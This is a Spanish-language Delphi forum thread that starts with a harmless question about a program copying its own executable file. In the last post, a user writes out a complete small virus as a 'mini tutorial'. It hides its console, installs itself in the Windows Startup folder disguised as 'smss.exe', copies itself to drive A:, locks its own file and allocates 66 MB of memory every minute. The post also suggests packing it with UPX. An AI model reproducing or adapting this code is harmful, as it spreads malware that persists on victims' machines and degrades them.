curiosidad de viernes (copia de un fichero a si mismo)

[Ñuño Martínez]

Claro. Cuando ejecutas un programa, su archivo ejecutable suele bloquearse como sólo lectura, por lo que se puede seguir abriendo para lectura.

[bastardo10]

bueno, se me pasa la resaca y la empanada y quizas queda mas bonito, utilizando TFileStream
ademas el ejemplo para torpes (I'm) de la delphi, lo dice claro.
procedure TForm1.Save1Click(Sender: TObject);

var
NewFileName: string;
Msg: string;
NewFile: TFileStream;
OldFile: TFileStream;
begin
NewFileName := ExtractFilePath(Application.ExeName) + ExtractFileName(Edit1.Text);
Msg := Format('Copy %s to %s?', [Edit1.Text, NewFileName]);
if MessageDlg(Msg, mtCustom, mbOKCancel, 0) = mrOK then
begin
OldFile := TFileStream.Create(Edit1.Text, fmOpenRead or fmShareDenyWrite);
try
NewFile := TFileStream.Create(NewFileName, fmCreate or fmShareDenyRead);

try
NewFile.CopyFrom(OldFile, OldFile.Size);
finally
FreeAndNil(NewFile);
end;
finally
FreeAndNil(OldFile);
end;
end;

end;

[[seoane]]

Y no es mas sencillo usar CopyFile

[bastardo10]

Pues si, pero asi queda mas impresionate!
la cuestion es aparentar!
gracias por la ayuda!

[[seoane]]

Si es cuestión de hacer las cosas mas difíciles de lo que son, te recomiendo que aprendas a programar en brainfucker

http://delphi.jmrds.com/?q=node/9

[[xEsk]]

Empezado por seoane

Si es cuestión de hacer las cosas mas difíciles de lo que son, te recomiendo que aprendas a programar en brainfucker

http://delphi.jmrds.com/?q=node/9

El nombre le viene como anillo al dedo... xD

Saludos.

[[egostar]]

Empezado por seoane

Si es cuestión de hacer las cosas mas difíciles de lo que son, te recomiendo que aprendas a programar en brainfucker

http://delphi.jmrds.com/?q=node/9

, Muy buena respuesta

Salud OS.

[[cHackAll]]

Llego tarde????? espero que no! lo de "aparentar" que leí hace un cacho no le veo la gracia, mientras el Virus sea más portable pues mejor porque al copiarse no debe notarce el hecho... queremos hacer un mini tutorial de cómo hacer virus? haber comiencemos con la idea del CopyFile:

En primer lugar debemos crear una aplicacion de tipo "consola", pues no queremos que los enumeradores de ventanas detecten algo "sospechoso"... así que le damos a nueva Consola y borramos "program Project?;" pues con esto no ganamos en ESTE caso nada, tambien debemos borrar la directiva:
"{$APPTYPE CONSOLE}" pues tampoco queremos que se visualice una consola... solo queremos un proceso que jorobe no?

Luego reemplazamos "uses SysUtils;" por "uses Windows;", el motivo es que la primera unidad utiliza más o menos 16 Kb que no queremos tener cargados.

Código Delphi [-]
uses Windows;
 
var
 hKey: Windows.HKEY;
 FileName: array [0..MAX_PATH-1] of Char;
 Size: Cardinal = SizeOf(FileName);
 
label Back;
begin
 RegOpenKey(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders', hKey);
 RegQueryValueEx(hKey, 'Startup', nil, nil, @FileName, @Size);
 RegCloseKey(hKey);
 SetCurrentDirectory(@FileName);  // Nos vamos a la carpeta de inicio del usuario para que al levantar la compu corra el virus...
 SetErrorMode(SEM_FAILCRITICALERRORS);  // Quitamos los mensajes de error propios del S.O. que no sean GRAVES
 GetModuleFileName(0, @FileName, SizeOf(FileName));  // Obtenemos el ParamStr(0);
 if Byte(FileName[0]) or $20 = Ord('a') then  // Si me estoy ejecutando de la unidad A: significa que alguien es curioso  
  begin
   CopyFile(@FileName, 'smss.exe', False);  // me copio al "Inicio"
   WinExec('smss.exe', 0);  // ejecuto mi copia
   Exit;  // me salgo
  end;
 CreateFile(@FileName, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);  // Me abro para que no me puedan renombrar
 Back: Sleep(66600);  // En intervalos de un minuto con 6 segundos y 600 centesimas
 CopyFile(@FileName, 'a:\mozka.cmd', False);  // Intento copiarme...
 GlobalAlloc(GMEM_FIXED, 1024*1024*66);  // y de paso... la "gracia" del "virus"... asigno 66 megas (GetMem)
// a mi propio proceso para que algun momento el Güindos haga lo "suyo" 
 goto Back;
end.

Use el smss.exe pues no se puede finalizar... bájense el UPX, comprimanlo y haber que tan grande es el "producto"
PD: 0j0 que fue con fines educativos

Saludos.